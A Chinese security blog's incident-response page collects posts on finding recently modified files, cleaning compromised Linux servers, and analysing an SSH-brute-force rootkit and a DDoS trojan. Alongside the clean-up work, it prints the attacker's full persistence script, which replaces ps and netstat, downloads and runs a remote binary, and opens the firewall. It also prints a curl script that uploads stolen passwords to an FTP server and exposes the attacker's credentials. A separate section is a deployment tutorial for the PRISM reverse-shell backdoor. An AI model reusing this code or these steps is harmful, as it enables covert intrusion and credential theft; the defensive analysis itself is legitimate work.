分类目录归档:应急响应

【应急响应】Find命令使用注意项

应急中很常用的一个命令就是Find,用于查找Web目录下最近修改的文件。

比如24小时内,就可用find / -mtime 0

find . –mtime n中的n指的是24*n, +n、-n、n分别表示:
+n: 大于n
-n: 小于n
n:等于n
find . –mtime n:
最后一次修改发生在距离当前时间n*24小时至(n+1)*24 小时
例如要查找24小时内被修改的JSP文件:

find ./ -mtime 0 -name "*.jsp"

搜索的是0*24~(0+1)*24小时内修改的文件
例如:
1)

[root@advc tmp]# ll *.txt
-rw-r--r-- 1 root root 446 Jan 13 11:42 logsincedb.txt
-rw-r--r-- 1 root root 1 Jan 12 17:36 secsincedb.txt
[root@advc tmp]# date
Fri Jan 13 11:42:21 CST 2017
[root@advc tmp]# find ./ -mtime 0 -name "*.txt"
./secsincedb.txt
./logsincedb.txt

2)

[root@advc tmp]# ll *.tmp
-rw-rw-r-- 1 admin admin 80909 Jan 10 14:08 jffi1619659256978505049.tmp
-rw-rw-r-- 1 admin admin 80909 Jan 10 14:07 jffi1799619702401900336.tmp
-rw-rw-r-- 1 admin admin 80909 Jan 10 14:07 jffi3642432029129125175.tmp
-rw-rw-r-- 1 admin admin 80909 Jan 10 14:08 jffi9069777261360058030.tmp
[root@advc tmp]# date
Fri Jan 13 11:44:14 CST 2017
[root@advc tmp]# find ./ -mtime 2
./jffi1799619702401900336.tmp
./jffi1619659256978505049.tmp
./jffi3642432029129125175.tmp
./jffi9069777261360058030.tmp

搜索是的48~72小时内修改的文件。

find . –mtime +n:
最后一次修改发生在n+1天以前,距离当前时间为(n+1)*24小时或者更早
find . –mtime –n:
最后一次修改发生在n天以内,距离当前时间为n*24小时以内

查找24小时内被修改的JSP文件也可以用:
find ./ -mtime -1 -name “*.jsp”

【应急响应】Linux应急记录20170111

看到异常进程里面有:
/usr/bin/.sshd
[kworker95]
开机启动:

/tmp下的异常文件

异常的网络连接

使用lsof的时候发现返回内容不正常,查看下lsof

mtime为10:46,并且大小不正常,很明显命令被替换了。
看下/usr/bin/下

/use/sbin下

然后检查了cron、rc3等没有发现异常。

处理过程:

[root@localhost tmp]# chmod 000 conf.n moni.lod gates.lod \[kworker95\] /usr/bin/.sshd
[root@localhost tmp]# chattr +i /tmp /usr/bin /usr/sbin

删除rc.local中的异常内容,并重启服务器。

[root@localhost tmp]# chattr -i /tmp /usr/bin /usr/sbin
[root@localhost tmp]# rm -f conf.n moni.lod gates.lod \[kworker95\] /usr/bin/.sshd

然后从其他机器拷贝lsof和ss替换。

【应急响应】帮朋友Linux应急记录

某日哥们的负责的服务器因为SSH弱口令被黑了(又是边界安全意识的问题),看到异常的进程信息如下:

123

lsof看一下打开的文件,发现/dev/g下存在这些东西

123

然后习惯性的按照时间排序查看一下命令,因为root已经被拿了所以非常有可能已经修改了命令。然后看到ps和netstat都非常小,这太不正常了。

-rwxr-xr-x 1 root root 78 Apr 30  2016 /bin/netstat
strings netstat
#!/bin/sh
for arg in "$*";do
.Fnetstat $arg|grep -v "125.77.31.197";done;exit

发现其实执行的是Fnetstat
ps也被替换了,最终执行的Fps

[root@localhost tmp]# strings /bin/ps
#!/bin/sh
for arg in "$*";do
.Fps $arg|grep -v ".syslogd--system"|grep -v "a8137c40f9"|grep -v "ps"|grep -v "grep"|grep -v "nslookup"|grep -v "mail";done;exit

看下定时任务/etc/crontab发现:
123

cron.hourly下的三个脚本mail.sh、mail.py、ssh_deny.sh

123

先来看ssh_deny.sh

123

你进来了,不让人家别人扫了。
mail.py是一个发送邮件的脚本,会将/dev/1.txt发送出去。
从脚本中可以看到两个账号
user=’success501@163.com’,passwd=’ff1314′
还有一个qq邮箱995999349@qq.com
然后看mail.sh

#!/bin/bash
S=`date +%s%N | md5sum | head -c 10`
ip=`ifconfig |grep inet| sed -n '1p'|awk '{print $2}'|awk -F ':' '{print $2}'`
pt=`netstat -ntlp | awk '!a[$NF]++ && $NF~/sshd$/{sub (".*:","",$4);print $4}'`
Add=`nslookup www.1024kbs.com|grep "Address: "|awk '{print $2}'`

mv /dev/1.txt /dev/"$ip"+1+"$pt"+"$S".txt;mv /dev/2.txt /dev/"$ip"+2+"$pt"+"$S".txt
curl -u root:ff1314 -T "{/dev/"$ip"+1+"$pt"+"$S".txt,/dev/"$ip"+2+"$pt"+"$S".txt}" ftp://$Add:888
rm -rf /dev/"$ip"+1+"$pt"+"$S".txt /dev/"$ip"+2+"$pt"+"$S".txt

可以看出是将/dev/1.txt和/dev/2.txt重命名后上传到FTP上,然后删除掉。估计这里被装了SSH后门,1.txt和2.txt就是记录密码的文件,不过SSH被哥们的同事重装了,这里看不出来了,然后登下FTP看看。登上FTP服务器发现在几个密码文件

 ftp> open www.1024kbs.com 888
 Connected to www.1024kbs.com (118.193.212.86).
 220 Welcome to www.Gxnn.com FTP Server!
 Name (www.1024kbs.com:root): root
 331 Password required for root
 Password:
 230 User successfully logged in.
 Remote system type is Base.
 ftp> ls
 227 Entering Passive Mode (118,193,212,86,4,88).
 150 Opening ASCII mode data connection for directory list.
 -rwx------ 1 user group              7 Nov 18 11:52 116.211.17.5+1+22+426e95d58e.txt
 -rwx------ 1 user group              6 Nov 18 11:52 116.211.17.5+1+22+9ada1f5efb.txt
 -rwx------ 1 user group             32 Nov 18 14:48 116.211.17.5+1+22+b500d80263.txt
 -rwx------ 1 user group              7 Nov 18 11:52 116.211.17.5+2+22+426e95d58e.txt
 -rwx------ 1 user group              6 Nov 18 11:52 116.211.17.5+2+22+9ada1f5efb.txt
 -rwx------ 1 user group             50 Nov 18 14:55 221.229.164.18+1+22+8e46e6b7d4.txt
 226 Transfer complete.
 ftp>

又是其他受害者的SSH信息。搜索是995999349看到一篇文章。http://blog.chinaunix.net/uid-25057421-id-5195167.html发现了攻击者的脚本。

#! /bin/bash
#chkconfig:12345 90 90
#############################################
#############################################
#############################################
#############################################
#############################################
path=`pwd`
exit0="exit 0"
Fss="/usr/bin/.Fss"
Fps="/usr/bin/.Fps"
Fnet="/usr/bin/.Fnetstat"
LockAngel="/usr/bin/zfgsr"
Fssbak="/usr/bin/dpkgd/ss"
Fpsbak="/usr/bin/dpkgd/ps"
Fnetbak="/usr/bin/dpkgd/netstat"
MyFileAngel="/etc/init.d/.dbus-daemon--system"
PuppetAngel="/usr/bin/.dbus-daemon--system.bak"
allow="/etc/allow.bak"
Fconfig="/sbin/Fconfig.n"
S99="/etc/rc.d/init.d/S99.25000"
if [ ! -f  "$Fconfig" ];then
echo byqinshou 995999349 > $Fconfig
zfgsr +ia $Fconfig >/dev/null 2>&1
fi
Address1=`nslookup www.120kongbao.com|grep "Address: "|awk '{print $2}'`
if [ -z "$Address1" ];then
zfgsr -ia /etc/resolv.conf
echo 'nameserver 114.114.114.114'>/etc/resolv.conf
echo 'nameserver 8.8.8.8'>>/etc/resolv.conf
touch -d "2010-06-7 08:10:30"  /etc/resolv.conf
zfgsr +ia /etc/resolv.conf
fi
Ftempbash=`cat $Fconfig | awk '{print $2}'`   #现脚本文件名
Fbashtemp="/usr/bin/"$Ftempbash #现脚本路径
Fbashname=`date +%s%N | md5sum | head -c 10`
Fbashpath="/usr/bin/"$Fbashname #新脚本路径
if [ $0 != "$Fbashtemp" ];then
pkill $Ftempbash;killall $Ftempbash
zfgsr -ia /usr/bin/$Ftempbash;rm -f /usr/bin/$Ftempbash
zfgsr -ia $PuppetAngel;rm -f $PuppetAngel
fi
# -------------------------------------------------------------
if [ ! -f  "$LockAngel" ];then
zfgsr -ia $LockAngel
rm -rf $LockAngel
cp -f /usr/bin/chattr $LockAngel
cp -f /usr/bin/chattr /usr/bin/.zfgsr
cp -f /usr/bin/.zfgsr $LockAngel
chmod 777 $LockAngel
chmod 777 /usr/bin/.zfgsr
touch -d "2011-06-7 08:10:30"  $LockAngel
touch -d "2011-06-7 08:10:30"  /usr/bin/.zfgsr
rm -rf /usr/bin/chattr
zfgs +ia $LockAngel >/dev/null 2>&1
fi
#删除原chattr命令,并复制chattr为/usr/bin/.zfgsr和/usr/bin/zfgsr /usr/bin/zfgsr添加ai属性,不可增删改
if [ -f /usr/sbin/ss ];then
if [ ! -f "$Fss" ];then
if [ ! -f "$Fssbak" ];then
mkdir /usr/bin/dpkgd/
cp -f /usr/sbin/ss $Fssbak
cp -f /usr/sbin/ss $Fss
else
cp -f $Fssbak $Fss
fi
zfgsr -ia /usr/sbin/ss
rm -rf /usr/sbin/ss
echo '#!/bin/sh' > /usr/sbin/ss
echo '.Fss|grep -v "'$Address1'"' >> /usr/sbin/ss
echo 'exit' >> /usr/sbin/ss
chmod 0755 $Fss;chmod 0755 /usr/sbin/ss
zfgsr +ia /usr/sbin/ss >/dev/null 2>&1
zfgsr +ia $Fssbak >/dev/null 2>&1
zfgsr +ia $Fss >/dev/null 2>&1
fi
fi
#修改ss命令
if [ -f /bin/netstat ];then
if [ ! -f "$Fnet" ];then
if [ ! -f "$Fnetbak" ];then
mkdir /usr/bin/dpkgd/
cp -f /bin/netstat $Fnetbak
cp -f /bin/netstat $Fnet
else
cp -f $Fnetbak $Fnet
fi
zfgsr -ia /bin/netstat
rm -rf /bin/netstat
echo '#!/bin/sh' > /bin/netstat
echo 'for arg in "$*";do' >> /bin/netstat
echo '.Fnetstat $arg|grep -v "'$Address1'";done;exit' >> /bin/netstat
chmod 0755 $Fnet;chmod 0755 /bin/netstat
zfgsr +ia /bin/netstat >/dev/null 2>&1
zfgsr +ia $Fnetbak >/dev/null 2>&1
zfgsr +ia $Fnet >/dev/null 2>&1
fi
fi
#修改netstat
if [ -f /bin/ps ];then
if [ ! -f "$Fps" ];then
if [ ! -f "$Fpsbak" ];then
mkdir /usr/bin/dpkgd/
cp -f /bin/ps $Fpsbak
cp -f /bin/ps $Fps
else
cp -f $Fpsbak $Fps
fi
zfgsr -ia /bin/ps
rm -rf /bin/ps
echo '#!/bin/sh' > /bin/ps;echo 'for arg in "$*";do' >> /bin/ps
echo '.Fps $arg|grep -v "'.dbus-daemon--system'"|grep -v "'$Fbashname'"|grep -v "ps"|grep -v "grep";done;exit' >> /bin/ps
chmod 0755 $Fps;chmod 0755 /bin/ps
zfgsr +ia /bin/ps >/dev/null 2>&1
zfgsr +ia $Fpsbak >/dev/null 2>&1
zfgsr +ia $Fps >/dev/null 2>&1
fi
fi
#修改ps命令,屏蔽了ps、grep等显示
if [ ! -f  "$allow" ];then
cp -f /etc/hosts.allow $allow
zfgsr +ia $allow >/dev/null 2>&1
fi
# by qinshou -----------------------------------------------
ExistAngel=`.Fps aux | grep .dbus-daemon--system | grep -v "grep" |wc -l`
if [ $ExistAngel != 1 ];then
zfgsr -ia /usr/bin/.dbus-daemon--system
rm -rf /usr/bin/.dbus-daemon--system
cp -f /usr/bin/.dbus-daemon--system.bak /usr/bin/.dbus-daemon--system
chmod 777 /usr/bin/.dbus-daemon--system
/usr/bin/.dbus-daemon--system
  rm -rf /usr/bin/.dbus-daemon--system
fi
if [ ! -f  "$MyFileAngel" ];then
  zfgs -i /usr/bin/wget
  zfgs -a /usr/bin/wget
chmod 777 /usr/bin/wget
wget -P /etc/ http://www.120kongbao.com:999/1000.exe
zfgs -i $MyFileAngel
zfgs -a $MyFileAngel
rm -rf $MyFileAngel
chmod 777 /etc/1000.exe
mv -f /etc/1000.exe $MyFileAngel
zfgs +i $MyFileAngel
zfgs +a $MyFileAngel
chmod 0 /usr/bin/wget
zfgs +i /usr/bin/wget
zfgs +a /usr/bin/wget
fi
if [ ! -f  "$PuppetAngel" ];then
cp -f $MyFileAngel $PuppetAngel
zfgs +i $PuppetAngel
zfgs +a $PuppetAngel
fi
iptable=`iptables -L INPUT|grep $Address1|awk '{print $1 $4}'`
if [ -z "$iptable" ];then
iptables -I INPUT -s $Address1 -j ACCEPT
else
iptables -D INPUT -s $Address1 -j DROP
fi
# 自启动------------------
if [ ! -f  "$S99" ];then
echo "#!/bin/sh" >> $S99
echo "# chkconfig: 12345 90 90" >> $S99
echo "# description: $Ftempbash" >> $S99
echo "### BEGIN INIT INFO" >> $S99
echo "# Provides:	$Ftempbash" >> $S99
echo "# Required-Start:	" >> $S99
echo "# Required-Stop:	" >> $S99
echo "# Default-Start:	1 2 3 4 5" >> $S99
echo "# Default-Stop:	" >> $S99
echo "# Short-Description:	$Ftempbash" >> $S99
echo "### END INIT INFO" >> $S99
echo 'case $1 in' >> $S99
echo "start)" >> $S99
echo "	$Fbashpath" >> $S99
echo "	;;" >> $S99
echo "stop)" >> $S99
echo "	;;" >> $S99
echo "*)" >> $S99
echo "	$Fbashpath" >> $S99
echo "	;;" >> $S99
echo "esac" >> $S99
fi
# by qinshou -----------------------------------------------
zfgsr -ia $Fconfig;zfgsr -ia $0;zfgsr -ia $Fbashpath
sed -i "s|$Ftempbash|$Fbashname|" $Fconfig
zfgsr +ia $Fconfig >/dev/null 2>&1
cp -f $0 $Fbashpath;rm -f $0;chmod 0755 $Fbashpath
# by qinshou -----------------------------------------------
if [ -z "`$S99|grep "$Fbashtemp"`" ]; then
sed -i "s|$Ftempbash|$Fbashname|" $S99
chmod 777 $S99
fi
# by qinshou -----------------------------------------------
zfgsr -ia /usr/bin/chattr;rm -f /usr/bin/chattr
zfgsr -ia /etc/hosts.allow;cp -f $allow /etc/hosts.allow;zfgsr +ia /etc/hosts.allow >/dev/null 2>&1
sleep 1;zfgsr -ia $Fbashpath;chmod 0755 $Fbashpath;nohup $Fbashpath >/dev/null 2>&1 &
# by qinshou -----------------------------------------------
zfgsr -ia /bin/ps;sed -i "s|$Ftempbash|$Fbashname|" /bin/ps
zfgsr -ia /bin/netstat;chmod 0755 /bin/netstat;chmod 0755 /bin/ps
zfgsr +ia /bin/netstat >/dev/null 2>&1
zfgsr +ia /bin/ps >/dev/null 2>&1
# by qinshou -----------------------------------------------
exit

Linux下ICMP后门PRISM

支持平台

Linux

Solaris

AIX

BSD/Mac

Android

 

功能

支持两种模式:ICMP和STATIC

进程名自定义

没有监听端口

支持清空iptables配置

pure C开发

没有依赖库

 

项目地址

git clone https://github.com/andreafabrizi/prism.git

 

编译

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 

选项如下:

-DDETACH #后台运行

-DSTATIC #开启STATIC模式 (默认ICMP模式)

-DNORENAME #不使用自定义的进程名

-DIPTABLES #清空所有的iptables规则

 

ICMP模式

使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。

 

可以修改密钥,默认是p4ssw0rd

vim prism.c

#ifdef STATIC

# define REVERSE_HOST     "172.16.100.182"

# define REVERSE_PORT     6666

# define RESPAWN_DELAY    15

#else

# define ICMP_PACKET_SIZE 1024

# define ICMP_KEY         "p4ssw0rd"

#endif



#define VERSION          "0.5"

#define MOTD             "PRISM v"VERSION" started\n\n# "

#define SHELL            "/bin/sh"

#define PROCESS_NAME     "udevd"
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c

[root@vincent prism-master]# ./prism Inf0

 Version:          0.5

 Mode:                       icmp

 Key:                           p4ssw0rd

 Shell:                         /bin/sh

 Detach:           Yes

 Flush Iptables:        No

可以看到模式为icmp

攻击机(172.16.100.182):

nc -vv -l -p 6666

肉鸡(172.16.100.134):

./prism

攻击机(172.16.100.182):

./sendPacket.py 172.16.100.134 p4ssw0rd 172.16.100.182 6666

发送icmp包

内容如下:
p4ssw0rd 172.16.100.182 6666 QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ

然后获得Shell。

root@kali:/tmp/prism# nc -l -p 6666

PRISM v0.5 started



# whoami

root

 

STATIC模式

后门尝试连接硬编码的IP:PORT

 

vim prism.c

#ifdef STATIC

# define REVERSE_HOST     "172.16.100.182"

# define REVERSE_PORT     6666

# define RESPAWN_DELAY    15

#else

# define ICMP_PACKET_SIZE 1024

# define ICMP_KEY         "p4ssw0rd"

#endif



#define VERSION          "0.5"

#define MOTD             "PRISM v"VERSION" started\n\n# "

#define SHELL            "/bin/sh"

#define PROCESS_NAME     "udevd"

可以看到自定义进程名称为udevd

重新编译

gcc -DDETACH -DSTATIC -Wall -s -o prism prism.c


[root@vincent prism-master]# ./prism Inf0

 Version:          0.5

 Mode:                       static

 Host:                         172.16.100.182

 Port:                          6666

 Respawn Delay:              15 sec

 Process name:                 udevd

 Shell:                         /bin/sh

 Detach:           Yes

 Flush Iptables:        No

攻击机(172.16.100.182):

nc -vv -l -p 6666

肉鸡(172.16.100.134):

./prism

查看进程

[root@vincent prism-master]# ps axu | grep udev | grep -v grep

root      14474  0.0  0.0   3924   144 pts/1    S    17:26   0:00 udevd

获得Shell

root@kali:/tmp/prism# nc -l -p 6666

PRISM v0.5 started



# whoami

root

 

【应急响应】十字木马排查过程

中毒现象:
内到外的流量大,打DDOS
入侵方式:
通过SSH暴力破解
病毒分析:
木马病毒在top里面表现为随机的10位字母的进程,看/proc里面的信息,则为ls,cd之类常见的命令。杀死该进程后,会再随机产生一个新的进程,删除这些木马文件后,会再重新生成新的木马文件。由此可以判断,木马病毒会自动修复,多个进程之间会互相保护,一旦删除和被杀,立即重新启动和复制。
首先注意到/tmp/.zl文件
[root@server120 tmp]# file .zl
zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
二进制文件,通过Strings查看一下
发现这个病毒会干掉其他的病毒,如下

rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr
/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex
netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m 
> /dev/null
netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m 
> /dev/null

DDOS功能
SYN@%s:%d
UDP@%s:%d
DNS@%s:%d#%s
WEB@%s:%d#%s
TCP@%s:%d#%s
查看网络连接,发现ls和ifconfig命令竟然监听了端口

udp        0      0 0.0.0.0:49937               0.0.0.0:*                               131683/ls -la 
udp        0      0 0.0.0.0:47584               0.0.0.0:*                               116515/ifconfig

查看可执行文件:

[root@DataNode105 admin]# lsof -p 131683
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME
hahidjqzx 131683 root  cwd    DIR      8,98     4096 18087937 /root
hahidjqzx 131683 root  rtd    DIR      8,98     4096        2 /
hahidjqzx 131683 root  txt    REG      8,98   625622 24123895 /usr/bin/hahidjqzxs
hahidjqzx 131683 root    0u   CHR       1,3      0t0     4928 /dev/null
hahidjqzx 131683 root    1u   CHR       1,3      0t0     4928 /dev/null
hahidjqzx 131683 root    2u   CHR       1,3      0t0     4928 /dev/null
hahidjqzx 131683 root    3u  IPv4 153447714      0t0      UDP *:44077 

[root@DataNode105 admin]# lsof -p 116515
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME
xmbgyycox 116515 root  cwd    DIR      8,98     4096 18087937 /root
xmbgyycox 116515 root  rtd    DIR      8,98     4096        2 /
xmbgyycox 116515 root  txt    REG      8,97   274792       40 /boot/xmbgyycoxb
xmbgyycox 116515 root    0u   CHR       1,3      0t0     4928 /dev/null
xmbgyycox 116515 root    1u   CHR       1,3      0t0     4928 /dev/null
xmbgyycox 116515 root    2u   CHR       1,3      0t0     4928 /dev/null
xmbgyycox 116515 root    3u  IPv4 153455625      0t0      UDP *:38281

病毒文件为/usr/bin/hahidjqzxs和 /boot/xmbgyycoxb
/proc/_pid/cmdline里面都是伪造的信息,ps显示的内容也一样,基本上为下面一些常见的命令
使用pstree可以看到真实的进程名称

按照修改时间排序查看系统服务,可以通过SSH日志和病毒的启动时间判断入侵的时间:

[root@DataNode104 admin]# ls -alt /etc/init.d/
total 376
drwxr-xr-x.  2 root root  4096 Aug 16 10:32 .
-rwxrwxrwx   1 root root    96 Aug 16 10:32 .zl
-rwxr-xr-x   1 root root   317 Aug 16 10:32 xmbgyycoxb
drwxr-xr-x. 10 root root  4096 Aug 13 13:02 ..
-rwxr-xr-x   1 root root   323 Aug 13 00:01 hahidjqzxs
[root@DataNode104 admin]# ls -alt /etc/rc.d/init.d/
total 372
drwxr-xr-x.  2 root root  4096 Aug 13 00:25 .
-rwxr-xr-x   1 root root   317 Aug 13 00:25 gcqrccqwcn
-rwxrwxrwx   1 root root    96 Aug 13 00:25 .zl

定时任务,查看/etc/crontab(不同于crontab -e的用户级别定时任务 ,/etc/crontab为系统级别的定时任务):
可以看到如下两条

*/3 * * * * root /etc/cron.hourly/gcc.sh
*/3 * * * * root /etc/cron.hourly/cron.sh

然后检查/etc/cron.d、/etc/cron.daily、/etc/cron.hourly、/etc/cron.monthly

[root@DataNode104 admin]# ls -alt /etc/cron.hourly/
total 28
drwxr-xr-x.   2 root root  4096 Aug 17 10:00 .
drwxr-xr-x. 124 root root 12288 Aug 17 09:15 ..
-rwxr-xr-x    1 root root   223 Aug 16 10:32 cron.sh
-rwxr-xr-x    1 root root   228 Aug 13 00:01 gcc.sh

查看脚本内容

[root@DataNode105 cron.hourly]# cat cron.sh 
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug

[root@DataNode105 cron.hourly]# cat gcc.sh 
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

使用file查看都是可执行文件:

[root@DataNode105 cron]# file /lib/libudev.so
/lib/libudev.so: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
[root@DataNode105 cron]# file /lib/udev/udev
/lib/udev/udev: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

查看开机启动项,发现木马服务已添加到开机启动(/etc/init.d软链到了/etc/rc.d/init.d):

[root@DataNode105 rc1.d]# ls -alt /etc/rc3.d/
lrwxrwxrwx   1 root root   15 Aug 16 10:33 S77.zl -> /etc/init.d/.zl
lrwxrwxrwx   1 root root   20 Aug 16 10:32 S90xmbgyycoxb -> ../init.d/xmbgyycoxb
lrwxrwxrwx   1 root root   20 Aug 13 00:01 S90hahidjqzxs -> ../init.d/hahidjqzxs

查看history,从hfs上下载木马

SuSEfirewall2 stop
reSuSEfirewall2 stop
wget  http://218.201.84.181:17566/dabao
chmod 0755 ./dabao
./dabao
wget  http://218.201.84.181:17566/init2
chmod 0755 ./init2
nohup ./init2 &
wget  http://218.201.84.181:17566/init4

查看rc.local(/etc/rc.local软链到了/etc/rc.d/rc.local,rc.local为开启自启动服务,系统根据runlevel启动完rcX.d中的脚本之后,会调用rc.local脚本)

[root@DataNode104 admin]# cat /etc/rc.local 
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
echo never >/sys/kernel/mm/redhat_transparent_hugepage/defrag
touch /var/lock/subsys/local
mount /dev/sda1 /data1
mount /dev/sdb1 /data2
mount /dev/sdc1 /data3
mount /dev/sdd1 /data4
mount /dev/sde1 /data5
mount /dev/sdf1 /data6
cd /tmp/
./sy&
/etc/init.d/iptables stop
cd /tmp/
./ddp&
/etc/init.d/iptables stop

查看/sbin /bin /usr/sbin /usr/bin下的系统命令,发现部分被替换

[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x   1 root root   625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x.  2 root root     4096 Aug 17 16:26 .
-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 ps
-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 netstat
[root@DataNode110 admin]# ls -alt /usr/sbin/ | head -n 10
total 35620
-rwxr-xr-x   1 root root     1223123 Aug 17 11:30 ss
-rwxr-xr-x   1 root root     1223123 Aug 17 11:30 lsof

发现lsof、ps、netstat等命令被替换掉了。
总结一下:
被感染的文件路径列表:

/boot    中有随机的10位字母的进程执行文件
/tmp   中有随机的10位字母的进程执行文件
/bin     中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/sbin     中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/usr/bin   中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/usr/sbin   中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/tmp/.zl 可执行病毒文件
/etc/init.d   中有随机的10位字母的进程执行文件
/etc/rc.d/rc[0-6]d  中有随机的10位字母的进程执行文件
/etc/rc.local  木马已被写入启动项
/etc/crontab   木马已被写入crontab中,每3分钟执行一次
/etc/cron.hourly  木马已被写入cron每小时执行的脚本中
/lib/libudev.so 可执行病毒文件
/lib/udev/udev  可执行病毒文件

清理过程:

进程之前是相互守护的,杀死一个会马上启动。所以锁定所有木马存在的目录
1)删除rc.local中异常的内容,并且用其他服务器上相同系统版本的命令替换回netstat ps lsof等系统命令
删除
cd /tmp/
./sy&
/etc/init.d/iptables stop
cd /tmp/
./ddp&
/etc/init.d/iptables stop
2)锁定木马存在的目录,防止新的木马生成,设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。
[root@DataNode105 admin]# chattr +i /usr/bin/
[root@DataNode105 admin]# chattr +i /bin/
[root@DataNode105 admin]# chattr +i /boot/
[root@DataNode105 admin]# chattr +i /tmp/
3)将木马权限设置为000
chmod 000 /tmp/lsxundgoos
4)删除启动项中的木马文件
删除/etc/crontab中异常内容
/etc/cron.hourly/cron.sh
 /etc/cron.hourly/gcc.sh
删除cron.sh和gcc.sh中启动的病毒文件
rm -rf /lib/libudev.so
rm -rf /lib/udev/udev
删除启动项中的病毒文件
rm -f /etc/rc.d/init.d/lsxundgoos
rm -f /etc/rc.d/lsxundgoos
5)重启
检查连接和进程无异常。
[root@DataNode105 admin]# chattr -i /usr/bin/
[root@DataNode105 admin]# chattr -i /bin/
[root@DataNode105 admin]# chattr -i /boot/
[root@DataNode105 admin]# chattr -i /tmp/
6)清除病毒文件
[root@DataNode104 admin]# ls -alt /boot/ | head -n 10
total 28463
dr-xr-xr-x.  5 root root     1024 Aug 17 16:09 .
-rwxr-xr-x   1 root root   274792 Aug 17 16:09 pekydjyfeu
dr-xr-xr-x. 29 root root     4096 Aug 17 16:06 ..
-rwxr-xr-x   1 root root   274792 Aug 17 16:00 ppqkyljmwn
[root@DataNode104 admin]# rm -f /boot/pekydjyfeu 
[root@DataNode104 admin]# rm -f /boot/ppqkyljmwn 
7)重启